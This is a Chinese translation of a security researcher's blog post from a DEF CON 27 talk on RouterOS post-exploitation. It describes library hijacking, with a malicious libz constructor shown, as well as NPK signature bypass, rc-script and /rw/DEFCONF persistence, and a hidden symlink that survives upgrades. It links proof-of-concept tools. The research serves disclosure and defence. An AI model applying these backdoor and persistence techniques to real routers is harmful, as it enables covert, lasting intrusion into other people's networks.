在DEF CON 27上的演讲PPT如下，我讨论了过去几年MikroTik RouterOS的漏洞利用方法和发布了工具Cleaner Wrasse，这个工具可以实现获取当前版本中的RouterOS 3.X的root shell访问。

DEF CON演讲还介绍了RouterOS中过去和现在的漏洞利用技术，我将讨论大致分为两部分：

1. 攻击者可以执行代码的地方。

2. 如何实现重新引导或升级实现持久驻留。

这就是这个博客的目的。但是，为什么要谈论漏洞利用漏洞利用开发呢？事实是，这些路由器已经被大量利用。但是，由于很少有关于RouterOS漏洞利用的公开研究。

0x01 简要说明

在开始谈论后期漏洞利用开发之前，你需要对RouterOS的总体设计有一个更好的了解。就目的而言，要了解的最重要的事情之一是系统上的所有内容都是一个软件包。如左图所示，你可以看到我在hAP上安装的所有软件包。

甚至标准的Linux-y目录（例如/ bin /，/ lib /，/ etc /）都来自软件包。

软件包使用NPK文件格式。Kirils Solovjovs制作了这张图片，描述了文件格式。

https://github.com/0ki/mikrotik-tools/blob/master/npk_descriptions.png

每个NPK包含一个squashfs部分。在启动时，将squashfs文件系统提取并安装（或root 据安装方法进行符号链接）在/ pckg /目录中（这对于系统软件包而言并非完全正确，但我们可以忽略它）。

软件包包含只读文件系统

Squashfs是只读的。你会看到我无法访问/ pckg / dhcp / lol。这可能会使你相信整个系统是只读的，但事实并非如此。例如，/ pckg /实际上是/ ram /中的可读写tmpfs空间的一部分。

/ pckg /是指向读写tmpfs / ram / pckg /的符号链接

此外，系统的/ flash /目录指向持久性读写存储，许多配置信息存储在此处。此外，在此空间中还可以找到唯一的永久存储用户可以访问/ flash / rw / disk /。

从root shell和Webfig看到的用户有权访问的存储

尽管系统的所有可执行文件似乎都驻留在只读空间中，但攻击者确实可以操纵tmpfs和持久性存储空间。方法是弄清楚如何使用该空间来实现和维护执行。

要知道的另一件事是，用户实际上无权访问RouterOS上的真实shell。上面，我提供了一个快照，其中似乎有一个root shell。但是，那仅仅是因为我已经利用了路由器并启用了后门，这实际上是不可能的。

如果你不熟悉RouterOS中的漏洞利用开发，请执行以下快速操作：从RouterOS 3.x开始，如果telnet或ssh上的特定位置存在特殊文件，则可以通过telnet或ssh提供root busybox shell。假设特殊文件存在，你可以通过使用管理员用户的密码以用户身份登录来访问busybox shell 。

你可以在以下视频中看到，我使用HackerFantastic的 set tracefile漏洞在RouterOS 6.41.4上创建了特殊文件/ pckg / option。该文件的存在启用后门，以devel身份登录，删除文件并注销后，我将无法再访问root shell。

https://youtu.be/UJlw_oWOCqw

0x02 攻击SNMP

SNMP二进制文件（/nova/bin/snmp\）是该系统包的一部分。但是，还有其他各种软件包希望向snmp添加自己的功能。例如，dhcp软件包。在下图中，你可以看到/ pckg / dhcp有/ snmp /子目录。

dhcp软件包为snmp添加的功能

当snmp二进制文件启动时，它将遍历/ pckg /中的所有目录，并查找/ nova / lib / snmp /子目录。该子目录中的所有共享库都传递给dlopen（），然后调用共享库的autorun（）。

由于dhcp软件包安装为只读，因此攻击者无法修改已加载的共享库。但是，正如我们已经建立的那样，/ pckg /是可读写的，因此攻击者可以引入他们自己的目录结构（例如/ pckg / snmp_xploit / nova / lib / snmp /），任何存储在那里的共享库将由snmp加载。

攻击者可以隐藏在只读空间中的进程中，但是，当它与可以将文件写入磁盘的漏洞（例如CVE-2019–3943或CVE-2018–14847）结合使用时，就会有其他作用。

我写了一个PoC来说明CVE-2019–3943的用例。

https://github.com/tenable/routeros/tree/master/poc/cve_2019_3943_snmp_lib

本质上，经过身份验证的攻击者可以使用漏洞的目录遍历来创建/ pckg /目录结构。

创建目录后，攻击者需要将共享对象拖放到磁盘上。幸运的是，CVE-2019–3943也可以做到这一点。显然，真正的攻击者可以从共享对象执行任何操作，但是出于漏洞验证的目的，我直接从构造函数创建了6.41+后门文件。

PoC甚至将停止并重新启动SNMP进程，以确保在不重新启动系统的情况下加载共享库。

由于/ pckg /位于tmpfs空间中，因此即使PoC并未删除脚本，该脚本创建的目录结构也将在重新启动时删除。

与上述类似，我发现可以获取系统二进制文件来从/ flash / rw / lib中加载库。这是因为/ rw / lib /是LD_LIBRARY_PATH环境变量中的第一个条目。

从/ rw / lib /加载库的好处在于，因为它是持久的文件空间，所以共享对象将在重新启动后保持不变。唯一的挑战是弄清楚我们要劫持哪个库。显而易见的选择是libc.so，因为它可以确保在任何地方加载。但是RouterOS使用uClibc。

/ nova / bin / fileman加载 libz。fileman是系统二进制文件，用于处理通过Winbox或Webfig从用户的 / rw / disk目录进行的读取和写入。当用户导航到“文件”界面时将执行该命令，但在用户导航离开并保持一分钟的空闲时间后它将关闭。

为了编译恶意库，我只下载了libz 1.2.11并将此构造函数添加到deflate.c中：

void __attribute__((constructor)) lol(void)
{
    int fork_result = fork();
    if (fork_result == 0)
    {
        execl("/bin/bash", "bash", "-c",
           "mkdir /pckg/option; mount -o bind /boot/ /pckg/option",
           (char *) 0);
        exit(0);
    }
}

你可以再次看到，我刚刚选择创建后门文件。为了证明漏洞，我将新的libz.so交叉编译为MIPS big endian，以便可以在hAP路由器上对其进行测试。

https://github.com/tenable/routeros/tree/master/poc/cve_2019_3943_snmp_lib
https://mikrotik.com/product/RB951Ui-2nD

PoC使用CVE-2019–3943创建“ lib”目录，并将该库拖放到磁盘上。

但是，与SNMP攻击不同，/ rw / lib / libz.so将在重新启动后仍然有效，并且实际上在启动顺序的早期就已加载。这意味着每次重新启动后，后门文件都会在启动过程中创建。

0x03 签名验证

/ flash /中存储的更有趣的东西之一是/ flash / var / pdb /中的文件。

事实证明，这是RouterOS存储所有已安装的NPK文件的位置。奇怪的是，作为root ，它们都是可写的。

https://youtu.be/ICQ0a6XAvGE

当我得知自己可以通过弄乱系统软件包来破坏整个系统时，我有点好奇。如果我只是改写了软件包的squashfs文件系统会怎么样？

我编写了一个名为Modify_npk的工具来进行测试。该工具非常简单，它接收有效的MikroTik NPK（例如dude-6.44.5.npk）和用户创建的squashfs。该工具将删除有效的MikroTik squashfs部分，并插入用户的恶意squashfs。从理论上讲，modify_npk生成一个结构良好的NPK，只是带有一个新的内部squashfs。

问题是MikroTik在安装NPK软件包时会强制执行签名验证。如果你尝试安装Modify_npk软件包，则RouterOS会将其标记为已损坏并拒绝它。请在以下日志文件中查看wrasse.npk：

我们不能让攻击者在这些系统上安装任何他们想要的东西。但是，如果我们从root shell自己安装它怎么办？

从理论上讲，RouterOS在挂载其文件系统之前应始终对存储的NPK运行签名检查。由于它们都是可读写的，所以这才有意义。

在上图中，你可以看到wrasse已成功安装在系统上，签名不正确！显然，这应该意味着我创建的squashf已安装。

当然，仅安装恶意squashf并没有结束，因为我创建的文件系统实际上包含一个rc脚本，它将在启动时创建后门文件。

这非常有用，因为它将在重新启动后继续存在。虽然，用户可以使用“检查安装”功能来捕获此特定攻击。

MikroTik在6.42.1中修复了该错误。我之所以说“无声”，是因为我没有看到任何具体的发行说明或与社区的交流，表明他们决定在每次重新启动时都强制执行签名验证。

0x04 RC脚本无处不在

RouterOS使用rc脚本在引导后启动进程，并在关闭过程中清理某些进程。该操作系统具有传统的/etc/rc.d/run.d/文件结构，我们将要讨论它，但是它也具有其他可以从其中执行rc脚本的地方。

/ flash / etc /

如前所述，RouterOS具有传统的/ etc /目录，但是由于该目录是只读目录，因此攻击者无法修改或引入脚本。但是，RouterOS确实在永久读写的/ flash /空间之外还有第二个/ etc /。

乍一看，就rc脚本而言，它似乎并没有那么有用。但是，正如BigNerd95在其Chimay-Red存储库中指出的那样，你可以从/ flash / etc /创建一个/rc.d/run.d/子目录，并且其中存储的所有rc脚本在启动时都将被视为普通的rc脚本。

在下面的示例中，你可以看到我创建了/flash/etc/rc.d/run.d/并将脚本S89lol回显到位。重新引导后，将执行脚本并创建后门。

/rw/RESET

RouterOS在/etc/rc.d/run.d/中有很多脚本，但是我想特别谈谈两个。第一个是S08config，它包含以下逻辑：

elif [ -f /rw/RESET ]; then
    /bin/bash /rw/RESET
    rm -rf /rw/RESET

这意味着，如果存在/ rw / RESET，则S08config将在启动时将其作为bash脚本执行。这是一个明显的持久性机制。

该论坛用户以某种方式获得了MikroTik的调试包，并能够在利用后检查某些文件。在这里，我们可以看到攻击者使用/ rw / RESET执行其/ rw / info二进制文件。也许看到这种用法很普遍是MikroTik改变S08config行为的原因。

/ rw / DEFCONF

类似于/ RW / RESET，内容/ RW / DEFCONF可以执行得益于在eval语句S12defconf。

defcf=$(cat /rw/DEFCONF)
echo > /ram/defconf-params
if [ -f /nova/bin/flash ]; then
    /nova/bin/flash --fetch-defconf-params /ram/defconf-params
fi
(eval $(cat /ram/defconf-params) action=apply /bin/gosh "$defcf";
 cp "$defcf" $confirm; rm /rw/DEFCONF /ram/defconf-params) &

这是在6.40.1中首次引入的，但与/ rw / RESET不同的是，自6.45.3起它尚未修复。实际上，这是Cleaner Wrasse用来在路由器上建立重新引导持久性的方法。我使用CVE-2019–3943 编写了PoC，以显示经过身份验证的远程攻击者如何利用/ rw / DEFCONF来实现后门并建立持久性。

https://github.com/tenable/routeros/tree/master/poc/cve_2019_3943_defconf

/ pckg /

正如我们在本文的签名验证部分所看到的，/ pckg /的每个软件包都有/etc/rc.d/run.d/目录，其中包含rc脚本。/ pckg /是tmpfs的一部分，因此，尽管攻击者在/ pckg /中创建的任何内容在重启后都不会持久，但新的rc脚本将在关机时执行。

这有什么用？我没有提到/ rw / DEFCONF的一件事是它在系统上的存在会导致登录问题。Cleaner Wrasse通过在/rw/.lol中暂存文件，然后在/ pckg中创建rc脚本来避免此问题。/在关闭时创建/ rw / DEFCONF文件。这样，Cleaner Wrasse可以避免登录问题，但是可以确保/ rw / DEFCONF在系统再次启动时存在。

只需在关机时将/rw/.lol复制到/ rw / DEFCONF。

0x05 分析总结

我在此博客中提到的许多PoC都使用CVE-2019–3943，但已于2019年5月永久性修补。除非你使用Kirils Solovjovs的USB越狱，否则将没有更多的公共方法来启用后门文件和启动设备。

最新发行版的root shell：6.45.3稳定版本

答案很简单。当我仍然能够使用CVE-2019–3943利用路由器时，我在用户的/ rw / disk目录中创建了指向root 目录的隐藏符号链接。

.survival符号链接指向/

升级后，只需要FTP进入路由器，然后将符号链接遍历到root。从那里，你可以通过所需的多种方式之一来实现执行。在下图中，我将libz.so放到/ rw / lib /中以启用后门。

RouterOS没有为普通用户提供创建符号链接的方法，因此你只能通过利用来实现。但是RouterOS也不尝试删除符号链接。只要是这种情况，我们就可以在升级后继续使用生存符号链接来重新建立root shell。

Winbox或Webfig都不显示隐藏文件。偶尔通过FTP检查你的用户目录以确保没有任何隐藏内容可能是值得的。

我分享了许多实现执行的方法，并且通常会在系统中徘徊。因此，当我偶然发现这一点时，我有些困惑：

上图来自CVE-2018–14847的首次公开报告，在用户的日志和设备中的可疑文件中找到奇怪的登录名后，一个用户跳入MikroTik论坛并询问潜在的Winbox漏洞。上图来自他们发现的名为save.sh的bash脚本。

我已经在此博客文章中一遍又一遍地表明，攻击者无需在用户可以访问的唯一目录中存储任何内容。但是，这正是攻击者所做的。/ flash / rw / pckg /是到用户的/ flash / rw / disk /目录的符号链接。

纵深防御固然重要，但有时它并不是头等大事。我不希望将来看到任何重大变化，但希望MikroTik可以在其开发计划中加入一些防御措施，以进行深度改进。

或者也许我们只需要等RouterOS 7发布。

0x06 参考信息

https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-Jacob-Baines-Help-Me-Vulnerabilities.-Youre-My-Only-Hope.pdf https://blog.talosintelligence.com/2018/05/VPNFilter.html https://github.com/BigNerd95/Chimay-Red https://securelist.com/apt-slingshot/84312/ https://n0p.me/winbox-bug-dissection/ https://github.com/tenable/routeros/tree/master/cleaner_wrasse https://blog.netlab.360.com/7500-mikrotik-routers-are-forwarding-owners-traffic-to-the-attackers-how-is-yours-en/

本文翻译自：https://medium.com/tenable-techblog/routeros-post-exploitation-784c08044790如若转载，请注明原文地址：